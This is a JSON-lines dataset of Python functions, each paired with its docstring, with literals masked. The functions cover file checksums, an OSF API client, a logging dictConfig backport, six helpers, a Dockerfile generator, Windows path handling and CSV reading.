{"signature": "def checksum(file_path, hash_type='<STR_LIT>', block_size=<NUM_LIT>):", "body": "if hash_type == '<STR_LIT>':<EOL><INDENT>hash_ = hashlib.md5()<EOL><DEDENT>elif hash_type == '<STR_LIT>':<EOL><INDENT>hash_ = hashlib.sha256()<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>.format(hash_type)<EOL>)<EOL><DEDENT>with open(file_path, '<STR_LIT:rb>') as f:<EOL><INDENT>for block in iter(lambda: f.read(block_size), b'<STR_LIT>'):<EOL><INDENT>hash_.update(block)<EOL><DEDENT><DEDENT>return hash_.hexdigest()<EOL>", "docstring": "Returns either the md5 or sha256 hash of a file at `file_path`.\n\n    md5 is the default hash_type as it is faster than sha256\n\n    The default block size is 64 kb, which appears to be one of a few command\n    choices according to https://stackoverflow.com/a/44873382/2680. The code\n    below is an extension of the example presented in that post.", "id": "f5388:m4"}
{"signature": "def get_local_file_size(fp):", "body": "<EOL>return os.fstat(fp.fileno()).st_size<EOL>", "docstring": "Get file size from file pointer", "id": "f5388:m5"}
{"signature": "def login(self, username, password=None, token=None):", "body": "self.session.basic_auth(username, password)<EOL>", "docstring": "Login user for protected API calls.", "id": "f5389:c0:m1"}
{"signature": "def project(self, project_id):", "body": "type_ = self.guid(project_id)<EOL>url = self._build_url(type_, project_id)<EOL>if type_ in Project._types:<EOL><INDENT>return Project(self._json(self._get(url), <NUM_LIT:200>), self.session)<EOL><DEDENT>raise OSFException('<STR_LIT>'.format(project_id, type_))<EOL>", "docstring": "Fetch project `project_id`.", "id": "f5389:c0:m2"}
{"signature": "def guid(self, guid):", "body": "return self._json(self._get(self._build_url('<STR_LIT>', guid)), <NUM_LIT:200>)['<STR_LIT:data>']['<STR_LIT:type>']<EOL>", "docstring": "Determines JSONAPI type for provided GUID", "id": "f5389:c0:m3"}
{"signature": "def dictConfig(config):", "body": "dictConfigClass(config).configure()<EOL>", "docstring": "Configure logging using a dictionary.", "id": "f5393:m1"}
{"signature": "def resolve(self, s):", "body": "name = s.split('<STR_LIT:.>')<EOL>used = name.pop(<NUM_LIT:0>)<EOL>try:<EOL><INDENT>found = self.importer(used)<EOL>for frag in name:<EOL><INDENT>used += '<STR_LIT:.>' + frag<EOL>try:<EOL><INDENT>found = getattr(found, frag)<EOL><DEDENT>except AttributeError:<EOL><INDENT>self.importer(used)<EOL>found = getattr(found, frag)<EOL><DEDENT><DEDENT>return found<EOL><DEDENT>except ImportError:<EOL><INDENT>e, tb = sys.exc_info()[<NUM_LIT:1>:]<EOL>v = ValueError('<STR_LIT>' % (s, e))<EOL>v.__cause__, v.__traceback__ = e, tb<EOL>raise v<EOL><DEDENT>", "docstring": "Resolve strings to objects using standard import and attribute\nsyntax.", "id": "f5393:c3:m1"}
{"signature": "def ext_convert(self, value):", "body": "return self.resolve(value)<EOL>", "docstring": "Default converter for the ext:// protocol.", "id": "f5393:c3:m2"}
{"signature": "def cfg_convert(self, value):", "body": "rest = value<EOL>m = self.WORD_PATTERN.match(rest)<EOL>if m is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % value)<EOL><DEDENT>else:<EOL><INDENT>rest = rest[m.end():]<EOL>d = self.config[m.groups()[<NUM_LIT:0>]]<EOL>while rest:<EOL><INDENT>m = self.DOT_PATTERN.match(rest)<EOL>if m:<EOL><INDENT>d = d[m.groups()[<NUM_LIT:0>]]<EOL><DEDENT>else:<EOL><INDENT>m = self.INDEX_PATTERN.match(rest)<EOL>if m:<EOL><INDENT>idx = m.groups()[<NUM_LIT:0>]<EOL>if not self.DIGIT_PATTERN.match(idx):<EOL><INDENT>d = d[idx]<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>n = int(idx)<EOL>d = d[n]<EOL><DEDENT>except TypeError:<EOL><INDENT>d = d[idx]<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if m:<EOL><INDENT>rest = rest[m.end():]<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % (value, rest))<EOL><DEDENT><DEDENT><DEDENT>return d<EOL>", "docstring": "Default converter for the cfg:// protocol.", "id": "f5393:c3:m3"}
{"signature": "def convert(self, value):", "body": "if not isinstance(value, ConvertingDict) and isinstance(value, dict):<EOL><INDENT>value = ConvertingDict(value)<EOL>value.configurator = self<EOL><DEDENT>elif not isinstance(value, ConvertingList) and isinstance(value, list):<EOL><INDENT>value = ConvertingList(value)<EOL>value.configurator = self<EOL><DEDENT>elif not isinstance(value, ConvertingTuple) andisinstance(value, tuple):<EOL><INDENT>value = ConvertingTuple(value)<EOL>value.configurator = self<EOL><DEDENT>elif isinstance(value, six.string_types):  <EOL><INDENT>m = self.CONVERT_PATTERN.match(value)<EOL>if m:<EOL><INDENT>d = m.groupdict()<EOL>prefix = d['<STR_LIT>']<EOL>converter = self.value_converters.get(prefix, None)<EOL>if converter:<EOL><INDENT>suffix = d['<STR_LIT>']<EOL>converter = getattr(self, converter)<EOL>value = converter(suffix)<EOL><DEDENT><DEDENT><DEDENT>return value<EOL>", "docstring": "Convert values to an appropriate type. dicts, lists and tuples are\nreplaced by their converting alternatives. Strings are checked to\nsee if they have a conversion format and are converted if they do.", "id": "f5393:c3:m4"}
{"signature": "def configure_custom(self, config):", "body": "c = config.pop('<STR_LIT>')<EOL>if not hasattr(c, '<STR_LIT>') andhasattr(types, '<STR_LIT>') and isinstance(c, types.ClassType):<EOL><INDENT>c = self.resolve(c)<EOL><DEDENT>props = config.pop('<STR_LIT:.>', None)<EOL>kwargs = dict((k, config[k]) for k in config if valid_ident(k))<EOL>result = c(**kwargs)<EOL>if props:<EOL><INDENT>for name, value in props.items():<EOL><INDENT>setattr(result, name, value)<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Configure an object with a user-supplied factory.", "id": "f5393:c3:m5"}
{"signature": "def as_tuple(self, value):", "body": "if isinstance(value, list):<EOL><INDENT>value = tuple(value)<EOL><DEDENT>return value<EOL>", "docstring": "Utility function which converts lists to tuples.", "id": "f5393:c3:m6"}
{"signature": "def configure(self):", "body": "config = self.config<EOL>if '<STR_LIT:version>' not in config:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if config['<STR_LIT:version>'] != <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % config['<STR_LIT:version>'])<EOL><DEDENT>incremental = config.pop('<STR_LIT>', False)<EOL>EMPTY_DICT = {}<EOL>logging._acquireLock()<EOL>try:<EOL><INDENT>if incremental:<EOL><INDENT>handlers = config.get('<STR_LIT>', EMPTY_DICT)<EOL>if sys.version_info[:<NUM_LIT:2>] == (<NUM_LIT:2>, <NUM_LIT:7>):<EOL><INDENT>for name in handlers:<EOL><INDENT>if name not in logging._handlers:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % name)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>handler = logging._handlers[name]<EOL>handler_config = handlers[name]<EOL>level = handler_config.get('<STR_LIT>', None)<EOL>if level:<EOL><INDENT>handler.setLevel(_checkLevel(level))<EOL><DEDENT><DEDENT>except StandardError as e:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % (name, e))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>loggers = config.get('<STR_LIT>', EMPTY_DICT)<EOL>for name in loggers:<EOL><INDENT>try:<EOL><INDENT>self.configure_logger(name, loggers[name], True)<EOL><DEDENT>except StandardError as e:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % (name, e))<EOL><DEDENT><DEDENT>root = config.get('<STR_LIT:root>', None)<EOL>if root:<EOL><INDENT>try:<EOL><INDENT>self.configure_root(root, True)<EOL><DEDENT>except StandardError as e:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % e)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>disable_existing = config.pop('<STR_LIT>', True)<EOL>logging._handlers.clear()<EOL>del logging._handlerList[:]<EOL>formatters = config.get('<STR_LIT>', EMPTY_DICT)<EOL>for name in formatters:<EOL><INDENT>try:<EOL><INDENT>formatters[name] = self.configure_formatter(<EOL>formatters[name])<EOL><DEDENT>except StandardError as e:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % (name, e))<EOL><DEDENT><DEDENT>filters = config.get('<STR_LIT>', EMPTY_DICT)<EOL>for name in filters:<EOL><INDENT>try:<EOL><INDENT>filters[name] = self.configure_filter(filters[name])<EOL><DEDENT>except StandardError as e:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % (name, e))<EOL><DEDENT><DEDENT>handlers = config.get('<STR_LIT>', EMPTY_DICT)<EOL>for name in sorted(handlers):<EOL><INDENT>try:<EOL><INDENT>handler = self.configure_handler(handlers[name])<EOL>handler.name = name<EOL>handlers[name] = handler<EOL><DEDENT>except StandardError as e:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % (name, e))<EOL><DEDENT><DEDENT>root = logging.root<EOL>existing = list(root.manager.loggerDict)<EOL>existing.sort()<EOL>child_loggers = []<EOL>loggers = config.get('<STR_LIT>', EMPTY_DICT)<EOL>for name in loggers:<EOL><INDENT>if name in existing:<EOL><INDENT>i = existing.index(name)<EOL>prefixed = name + \"<STR_LIT:.>\"<EOL>pflen = len(prefixed)<EOL>num_existing = len(existing)<EOL>i = i + <NUM_LIT:1>  <EOL>while (i < num_existing) and(existing[i][:pflen] == prefixed):<EOL><INDENT>child_loggers.append(existing[i])<EOL>i = i + <NUM_LIT:1><EOL><DEDENT>existing.remove(name)<EOL><DEDENT>try:<EOL><INDENT>self.configure_logger(name, loggers[name])<EOL><DEDENT>except StandardError as e:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % (name, e))<EOL><DEDENT><DEDENT>for log in existing:<EOL><INDENT>logger = root.manager.loggerDict[log]<EOL>if log in child_loggers:<EOL><INDENT>logger.level = logging.NOTSET<EOL>logger.handlers = []<EOL>logger.propagate = True<EOL><DEDENT>elif disable_existing:<EOL><INDENT>logger.disabled = True<EOL><DEDENT><DEDENT>root = config.get('<STR_LIT:root>', None)<EOL>if root:<EOL><INDENT>try:<EOL><INDENT>self.configure_root(root)<EOL><DEDENT>except StandardError as e:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % e)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>logging._releaseLock()<EOL><DEDENT>", "docstring": "Do the configuration.", "id": "f5393:c4:m0"}
{"signature": "def configure_formatter(self, config):", "body": "if '<STR_LIT>' in config:<EOL><INDENT>factory = config['<STR_LIT>']  <EOL>try:<EOL><INDENT>result = self.configure_custom(config)<EOL><DEDENT>except TypeError as te:<EOL><INDENT>if \"<STR_LIT>\" not in str(te):<EOL><INDENT>raise<EOL><DEDENT>config['<STR_LIT>'] = config.pop('<STR_LIT>')<EOL>config['<STR_LIT>'] = factory<EOL>result = self.configure_custom(config)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>fmt = config.get('<STR_LIT>', None)<EOL>dfmt = config.get('<STR_LIT>', None)<EOL>result = logging.Formatter(fmt, dfmt)<EOL><DEDENT>return result<EOL>", "docstring": "Configure a formatter from a dictionary.", "id": "f5393:c4:m1"}
{"signature": "def configure_filter(self, config):", "body": "if '<STR_LIT>' in config:<EOL><INDENT>result = self.configure_custom(config)<EOL><DEDENT>else:<EOL><INDENT>name = config.get('<STR_LIT:name>', '<STR_LIT>')<EOL>result = logging.Filter(name)<EOL><DEDENT>return result<EOL>", "docstring": "Configure a filter from a dictionary.", "id": "f5393:c4:m2"}
{"signature": "def add_filters(self, filterer, filters):", "body": "for f in filters:<EOL><INDENT>try:<EOL><INDENT>filterer.addFilter(self.config['<STR_LIT>'][f])<EOL><DEDENT>except StandardError as e:<EOL><INDENT>raise ValueError('<STR_LIT>' % (f, e))<EOL><DEDENT><DEDENT>", "docstring": "Add filters to a filterer from a list of names.", "id": "f5393:c4:m3"}
{"signature": "def configure_handler(self, config):", "body": "formatter = config.pop('<STR_LIT>', None)<EOL>if formatter:<EOL><INDENT>try:<EOL><INDENT>formatter = self.config['<STR_LIT>'][formatter]<EOL><DEDENT>except StandardError as e:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % (formatter, e))<EOL><DEDENT><DEDENT>level = config.pop('<STR_LIT>', None)<EOL>filters = config.pop('<STR_LIT>', None)<EOL>if '<STR_LIT>' in config:<EOL><INDENT>c = config.pop('<STR_LIT>')<EOL>if not hasattr(c, '<STR_LIT>') andhasattr(types, '<STR_LIT>') andisinstance(c, types.ClassType):<EOL><INDENT>c = self.resolve(c)<EOL><DEDENT>factory = c<EOL><DEDENT>else:<EOL><INDENT>klass = self.resolve(config.pop('<STR_LIT:class>'))<EOL>if issubclass(klass, logging.handlers.MemoryHandler) and'<STR_LIT:target>' in config:<EOL><INDENT>try:<EOL><INDENT>config['<STR_LIT:target>'] =self.config['<STR_LIT>'][config['<STR_LIT:target>']]<EOL><DEDENT>except StandardError as e:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % (config['<STR_LIT:target>'], e))<EOL><DEDENT><DEDENT>elif issubclass(klass, logging.handlers.SMTPHandler) and'<STR_LIT>' in config:<EOL><INDENT>config['<STR_LIT>'] = self.as_tuple(config['<STR_LIT>'])<EOL><DEDENT>elif issubclass(klass, logging.handlers.SysLogHandler) and'<STR_LIT:address>' in config:<EOL><INDENT>config['<STR_LIT:address>'] = self.as_tuple(config['<STR_LIT:address>'])<EOL><DEDENT>factory = klass<EOL><DEDENT>kwargs = dict((k, config[k]) for k in config if valid_ident(k))<EOL>try:<EOL><INDENT>result = factory(**kwargs)<EOL><DEDENT>except TypeError as te:<EOL><INDENT>if \"<STR_LIT>\" not in str(te):<EOL><INDENT>raise<EOL><DEDENT>kwargs['<STR_LIT>'] = kwargs.pop('<STR_LIT>')<EOL>result = factory(**kwargs)<EOL><DEDENT>if formatter:<EOL><INDENT>result.setFormatter(formatter)<EOL><DEDENT>if level is not None:<EOL><INDENT>result.setLevel(_checkLevel(level))<EOL><DEDENT>if filters:<EOL><INDENT>self.add_filters(result, filters)<EOL><DEDENT>return result<EOL>", "docstring": "Configure a handler from a dictionary.", "id": "f5393:c4:m4"}
{"signature": "def add_handlers(self, logger, handlers):", "body": "for h in handlers:<EOL><INDENT>try:<EOL><INDENT>logger.addHandler(self.config['<STR_LIT>'][h])<EOL><DEDENT>except StandardError as e:<EOL><INDENT>raise ValueError('<STR_LIT>' % (h, e))<EOL><DEDENT><DEDENT>", "docstring": "Add handlers to a logger from a list of names.", "id": "f5393:c4:m5"}
{"signature": "def common_logger_config(self, logger, config, incremental=False):", "body": "level = config.get('<STR_LIT>', None)<EOL>if level is not None:<EOL><INDENT>logger.setLevel(_checkLevel(level))<EOL><DEDENT>if not incremental:<EOL><INDENT>for h in logger.handlers[:]:<EOL><INDENT>logger.removeHandler(h)<EOL><DEDENT>handlers = config.get('<STR_LIT>', None)<EOL>if handlers:<EOL><INDENT>self.add_handlers(logger, handlers)<EOL><DEDENT>filters = config.get('<STR_LIT>', None)<EOL>if filters:<EOL><INDENT>self.add_filters(logger, filters)<EOL><DEDENT><DEDENT>", "docstring": "Perform configuration which is common to root and non-root loggers.", "id": "f5393:c4:m6"}
{"signature": "def configure_logger(self, name, config, incremental=False):", "body": "logger = logging.getLogger(name)<EOL>self.common_logger_config(logger, config, incremental)<EOL>propagate = config.get('<STR_LIT>', None)<EOL>if propagate is not None:<EOL><INDENT>logger.propagate = propagate<EOL><DEDENT>", "docstring": "Configure a non-root logger from a dictionary.", "id": "f5393:c4:m7"}
{"signature": "def configure_root(self, config, incremental=False):", "body": "root = logging.getLogger()<EOL>self.common_logger_config(root, config, incremental)<EOL>", "docstring": "Configure a root logger from a dictionary.", "id": "f5393:c4:m8"}
{"signature": "def _add_doc(func, doc):", "body": "func.__doc__ = doc<EOL>", "docstring": "Add documentation to a function.", "id": "f5398:m0"}
{"signature": "def _import_module(name):", "body": "__import__(name)<EOL>return sys.modules[name]<EOL>", "docstring": "Import module, returning the module after the last dot.", "id": "f5398:m1"}
{"signature": "def add_move(move):", "body": "setattr(_MovedItems, move.name, move)<EOL>", "docstring": "Add an item to six.moves.", "id": "f5398:m2"}
{"signature": "def remove_move(name):", "body": "try:<EOL><INDENT>delattr(_MovedItems, name)<EOL><DEDENT>except AttributeError:<EOL><INDENT>try:<EOL><INDENT>del moves.__dict__[name]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise AttributeError(\"<STR_LIT>\" % (name,))<EOL><DEDENT><DEDENT>", "docstring": "Remove item from six.moves.", "id": "f5398:m3"}
{"signature": "def iterkeys(d, **kw):", "body": "return iter(getattr(d, _iterkeys)(**kw))<EOL>", "docstring": "Return an iterator over the keys of a dictionary.", "id": "f5398:m4"}
{"signature": "def itervalues(d, **kw):", "body": "return iter(getattr(d, _itervalues)(**kw))<EOL>", "docstring": "Return an iterator over the values of a dictionary.", "id": "f5398:m5"}
{"signature": "def iteritems(d, **kw):", "body": "return iter(getattr(d, _iteritems)(**kw))<EOL>", "docstring": "Return an iterator over the (key, value) pairs of a dictionary.", "id": "f5398:m6"}
{"signature": "def iterlists(d, **kw):", "body": "return iter(getattr(d, _iterlists)(**kw))<EOL>", "docstring": "Return an iterator over the (key, [values]) pairs of a dictionary.", "id": "f5398:m7"}
{"signature": "def with_metaclass(meta, *bases):", "body": "<EOL>class metaclass(meta):<EOL><INDENT>__call__ = type.__call__<EOL>__init__ = type.__init__<EOL>def __new__(cls, name, this_bases, d):<EOL><INDENT>if this_bases is None:<EOL><INDENT>return type.__new__(cls, name, (), d)<EOL><DEDENT>return meta(name, bases, d)<EOL><DEDENT><DEDENT>return metaclass('<STR_LIT>', None, {})<EOL>", "docstring": "Create a base class with a metaclass.", "id": "f5398:m8"}
{"signature": "def add_metaclass(metaclass):", "body": "def wrapper(cls):<EOL><INDENT>orig_vars = cls.__dict__.copy()<EOL>orig_vars.pop('<STR_LIT>', None)<EOL>orig_vars.pop('<STR_LIT>', None)<EOL>slots = orig_vars.get('<STR_LIT>')<EOL>if slots is not None:<EOL><INDENT>if isinstance(slots, str):<EOL><INDENT>slots = [slots]<EOL><DEDENT>for slots_var in slots:<EOL><INDENT>orig_vars.pop(slots_var)<EOL><DEDENT><DEDENT>return metaclass(cls.__name__, cls.__bases__, orig_vars)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Class decorator for creating a class with a metaclass.", "id": "f5398:m9"}
{"signature": "def _set_global_verbosity_level(is_verbose_output=False):", "body": "global verbose_output<EOL>verbose_output = is_verbose_output<EOL>if verbose_output:<EOL><INDENT>jocker_lgr.setLevel(logging.DEBUG)<EOL><DEDENT>else:<EOL><INDENT>jocker_lgr.setLevel(logging.INFO)<EOL><DEDENT>", "docstring": "sets the global verbosity level for console and the jocker_lgr logger.\n\n    :param bool is_verbose_output: should be output be verbose", "id": "f5400:m0"}
{"signature": "def _import_config(config_file):", "body": "<EOL>jocker_lgr.debug('<STR_LIT>'.format(config_file))<EOL>try:<EOL><INDENT>jocker_lgr.debug('<STR_LIT>')<EOL>with open(config_file, '<STR_LIT:r>') as c:<EOL><INDENT>return yaml.safe_load(c.read())<EOL><DEDENT><DEDENT>except IOError as ex:<EOL><INDENT>jocker_lgr.error(str(ex))<EOL>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>except yaml.parser.ParserError as ex:<EOL><INDENT>jocker_lgr.error('<STR_LIT>'.format(ex))<EOL>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "returns a configuration object\n\n    :param string config_file: path to config file", "id": "f5400:m1"}
{"signature": "def execute(varsfile, templatefile, outputfile=None, configfile=None,<EOL>dryrun=False, build=False, push=False, verbose=False):", "body": "if dryrun and (build or push):<EOL><INDENT>jocker_lgr.error('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:100>)<EOL><DEDENT>_set_global_verbosity_level(verbose)<EOL>j = Jocker(varsfile, templatefile, outputfile, configfile, dryrun,<EOL>build, push)<EOL>formatted_text = j.generate()<EOL>if dryrun:<EOL><INDENT>g = j.dryrun(formatted_text)<EOL><DEDENT>if build or push:<EOL><INDENT>j.build_image()<EOL><DEDENT>if push:<EOL><INDENT>j.push_image()<EOL><DEDENT>if dryrun:<EOL><INDENT>return g<EOL><DEDENT>", "docstring": "generates a Dockerfile, builds an image and pushes it to DockerHub\n\n    A `Dockerfile` will be generated by Jinja2 according to the `varsfile`\n    imported. If build is true, an image will be generated from the\n    `outputfile` which is the generated Dockerfile and committed to the\n    image:tag string supplied to `build`.\n    If push is true, a build will be triggered and the produced image\n    will be pushed to DockerHub upon completion.\n\n    :param string varsfile: path to file with variables.\n    :param string templatefile: path to template file to use.\n    :param string outputfile: path to output Dockerfile.\n    :param string configfile: path to yaml file with docker-py config.\n    :param bool dryrun: mock run.\n    :param build: False or the image:tag to build to.\n    :param push: False or the image:tag to build to. (triggers build)\n    :param bool verbose: verbose output.", "id": "f5400:m2"}
{"signature": "def _parse_dumb_push_output(self, string):", "body": "stack = <NUM_LIT:0><EOL>json_list = []<EOL>tmp_json = '<STR_LIT>'<EOL>for char in string:<EOL><INDENT>if not char == '<STR_LIT:\\r>' and not char == '<STR_LIT:\\n>':<EOL><INDENT>tmp_json += char<EOL><DEDENT>if char == '<STR_LIT:{>':<EOL><INDENT>stack += <NUM_LIT:1><EOL><DEDENT>elif char == '<STR_LIT:}>':<EOL><INDENT>stack -= <NUM_LIT:1><EOL><DEDENT>if stack == <NUM_LIT:0>:<EOL><INDENT>if not len(tmp_json) == <NUM_LIT:0>:<EOL><INDENT>json_list.append(tmp_json)<EOL><DEDENT>tmp_json = '<STR_LIT>'<EOL><DEDENT><DEDENT>return json_list<EOL>", "docstring": "since the push process outputs a single unicode string consisting of\n        multiple JSON formatted \"status\" lines, we need to parse it so that it\n        can be read as multiple strings.\n\n        This will receive the string as an input, count curly braces and ignore\n        any newlines. When the curly braces stack is 0, it will append the\n        entire string it has read up until then to a list and so forth.\n\n        :param string: the string to parse\n        :rtype: list of JSON's", "id": "f5400:c0:m1"}
{"signature": "def init(base_level=DEFAULT_BASE_LOGGING_LEVEL,<EOL>verbose_level=DEFAULT_VERBOSE_LOGGING_LEVEL,<EOL>logging_config=None):", "body": "if logging_config is None:<EOL><INDENT>logging_config = {}<EOL><DEDENT>logging_config = logging_config or LOGGER<EOL>log_file = LOGGER['<STR_LIT>']['<STR_LIT:file>']['<STR_LIT:filename>']<EOL>log_dir = os.path.dirname(os.path.expanduser(log_file))<EOL>if os.path.isfile(log_dir):<EOL><INDENT>sys.exit('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>.format(log_dir))<EOL><DEDENT>try:<EOL><INDENT>if not os.path.exists(log_dir) and not len(log_dir) == <NUM_LIT:0>:<EOL><INDENT>os.makedirs(log_dir)<EOL><DEDENT>dictconfig.dictConfig(logging_config)<EOL>lgr = logging.getLogger('<STR_LIT:user>')<EOL>lgr.setLevel(base_level)<EOL>return lgr<EOL><DEDENT>except ValueError as e:<EOL><INDENT>sys.exit('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>.format(log_file, e))<EOL><DEDENT>", "docstring": "initializes a base logger\n\n    you can use this to init a logger in any of your files.\n    this will use config.py's LOGGER param and logging.dictConfig to configure\n    the logger for you.\n\n    :param int|logging.LEVEL base_level: desired base logging level\n    :param int|logging.LEVEL verbose_level: desired verbose logging level\n    :param dict logging_dict: dictConfig based configuration.\n     used to override the default configuration from config.py\n    :rtype: `python logger`", "id": "f5401:m0"}
{"signature": "def pprint_path(path):", "body": "print(\"<STR_LIT>\" % path)<EOL>for attrname in sorted(dir(path)):<EOL><INDENT>if attrname.startswith(\"<STR_LIT>\"):<EOL><INDENT>value = getattr(path, attrname)<EOL>print(\"<STR_LIT>\" % (attrname, value))<EOL><DEDENT><DEDENT>print()<EOL>", "docstring": "print information of a pathlib / os.DirEntry() instance with all \"is_*\" functions.", "id": "f5406:m0"}
{"signature": "def utime(self, *args, **kwargs):", "body": "os.utime(self.extended_path, *args, **kwargs)<EOL>", "docstring": "Set the access and modified times of the file specified by path.", "id": "f5406:c0:m6"}
{"signature": "@classmethod<EOL><INDENT>def _from_parts(cls, args, init=True):<DEDENT>", "body": "if args:<EOL><INDENT>args = list(args)<EOL>if isinstance(args[<NUM_LIT:0>], WindowsPath2):<EOL><INDENT>args[<NUM_LIT:0>] = args[<NUM_LIT:0>].path<EOL><DEDENT>elif args[<NUM_LIT:0>].startswith(\"<STR_LIT>\"):<EOL><INDENT>args[<NUM_LIT:0>] = args[<NUM_LIT:0>][<NUM_LIT:4>:]<EOL><DEDENT>args = tuple(args)<EOL><DEDENT>return super(WindowsPath2, cls)._from_parts(args, init)<EOL>", "docstring": "Strip \\\\?\\ prefix in init phase", "id": "f5406:c1:m7"}
{"signature": "@property<EOL><INDENT>def extended_path(self):<DEDENT>", "body": "if self.is_absolute() and not self.path.startswith(\"<STR_LIT>\"):<EOL><INDENT>return \"<STR_LIT>\" % self.path<EOL><DEDENT>return self.path<EOL>", "docstring": "Add prefix \\\\?\\ to every absolute path, so that it's a \"extended-length\"\npath, that should be longer than 259 characters (called: \"MAX_PATH\")\nsee:\nhttps://msdn.microsoft.com/en-us/library/aa365247.aspx#maxpath", "id": "f5406:c1:m8"}
{"signature": "@property<EOL><INDENT>def path(self):<DEDENT>", "body": "path = super(WindowsPath2, self).path<EOL>if path.startswith(\"<STR_LIT>\"):<EOL><INDENT>return path[<NUM_LIT:4>:]<EOL><DEDENT>return path<EOL>", "docstring": "Return the path always without the \\\\?\\ prefix.", "id": "f5406:c1:m9"}
{"signature": "def relative_to(self, other):", "body": "return super(WindowsPath2, Path2(self.path)).relative_to(Path2(other).path)<EOL>", "docstring": "Important here is, that both are always the same:\nboth with \\\\?\\ prefix or both without it.", "id": "f5406:c1:m10"}
{"signature": "@classmethod<EOL><INDENT>def home(cls):<DEDENT>", "body": "<EOL>return cls(os.path.expanduser(\"<STR_LIT>\"))<EOL>", "docstring": "Return a new path pointing to the user's home directory (as\nreturned by os.path.expanduser('~'))", "id": "f5406:c3:m1"}
{"signature": "def __init__(self, dir_entry, onerror=print):", "body": "self.dir_entry = dir_entry <EOL>self.path = dir_entry.path <EOL>self.is_symlink = dir_entry.is_symlink()<EOL>self.is_file = dir_entry.is_file(follow_symlinks=False)<EOL>self.is_dir = dir_entry.is_dir(follow_symlinks=False)<EOL>self.stat = dir_entry.stat(follow_symlinks=False)<EOL>self.path_instance = Path2(self.path)<EOL>try:<EOL><INDENT>self.resolved_path = self.path_instance.resolve()<EOL><DEDENT>except (PermissionError, FileNotFoundError) as err:<EOL><INDENT>onerror(\"<STR_LIT>\" % (self.path, err))<EOL>self.resolved_path = None<EOL>self.resolve_error = err<EOL><DEDENT>else:<EOL><INDENT>self.resolve_error = None<EOL><DEDENT>if self.resolved_path is None:<EOL><INDENT>self.different_path = True<EOL><DEDENT>else:<EOL><INDENT>self.different_path = self.path_instance.path != self.resolved_path.path<EOL><DEDENT>", "docstring": ":param dir_entry: os.DirEntry() instance", "id": "f5408:c0:m0"}
{"signature": "def determine_type(x):", "body": "types = (int, float, str)<EOL>_type = [a for a in types if is_type(a, x)][<NUM_LIT:0>]<EOL>return _type(x)<EOL>", "docstring": "Determine the type of x", "id": "f5411:m1"}
{"signature": "def dmap(fn, record):", "body": "values = (fn(v) for k, v in list(record.items()))<EOL>return dict(zip(record, values))<EOL>", "docstring": "map for a directory", "id": "f5411:m2"}
{"signature": "def apply_types(use_types, guess_type, line):", "body": "new_line = {}<EOL>for k, v in list(line.items()):<EOL><INDENT>if k in use_types:<EOL><INDENT>new_line[k] = force_type(use_types[k], v)<EOL><DEDENT>elif guess_type:<EOL><INDENT>new_line[k] = determine_type(v)<EOL><DEDENT>else:<EOL><INDENT>new_line[k] = v<EOL><DEDENT><DEDENT>return new_line<EOL>", "docstring": "Apply the types on the elements of the line", "id": "f5411:m4"}
{"signature": "def read_csv(filename, delimiter=\"<STR_LIT:U+002C>\", skip=<NUM_LIT:0>, guess_type=True, has_header=True, use_types={}):", "body": "with open(filename, '<STR_LIT:r>') as f:<EOL><INDENT>if has_header:<EOL><INDENT>header = f.readline().strip().split(delimiter)<EOL><DEDENT>else:<EOL><INDENT>header = None<EOL><DEDENT>for i in range(skip):<EOL><INDENT>f.readline()<EOL><DEDENT>for line in csv.DictReader(f, delimiter=delimiter, fieldnames=header):<EOL><INDENT>if use_types:<EOL><INDENT>yield apply_types(use_types, guess_type, line)<EOL><DEDENT>elif guess_type:<EOL><INDENT>yield dmap(determine_type, line)<EOL><DEDENT>else:<EOL><INDENT>yield line<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Read a CSV file\n\n    Usage\n    -----\n    >>> data = read_csv(filename, delimiter=delimiter, skip=skip,\n            guess_type=guess_type, has_header=True, use_types={}) \n\n    # Use specific types\n    >>> types = {\"sepal.length\": int, \"petal.width\": float}\n    >>> data = read_csv(filename, guess_type=guess_type, use_types=types) \n\n    keywords\n    :has_header:\n        Determine whether the file has a header or not", "id": "f5411:m5"}
